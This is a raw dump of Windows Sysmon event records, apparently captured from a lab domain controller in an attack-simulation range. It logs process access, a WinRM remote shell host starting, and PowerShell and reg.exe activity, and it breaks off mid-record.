12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000002741Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.275{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002740Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28F7-5F80-8200-000000007F01}50525072C:\Windows\system32\conhost.exe{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002739Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28F7-5F80-8200-000000007F01}5052C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002738Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002737Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002736Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002735Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002734Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002733Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002732Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002731Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002730Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002729Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002728Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002727Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.263{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28F7-5F80-B1E0-040000000000}0x4e0b10HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002726Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002725Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.259{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002724Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.244{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002818Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.728{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_ukww3xtz.zau.ps12020-10-09 09:10:16.728 10341000x80000000000000002817Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002816Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002815Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002814Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.134{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002813Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.134{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002812Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:16.134{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002859Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28FC-5F80-8800-000000007F01}23562996C:\Windows\system32\conhost.exe{A5F018FF-28FC-5F80-8A00-000000007F01}2720C:\Windows\system32\reg.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002858Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 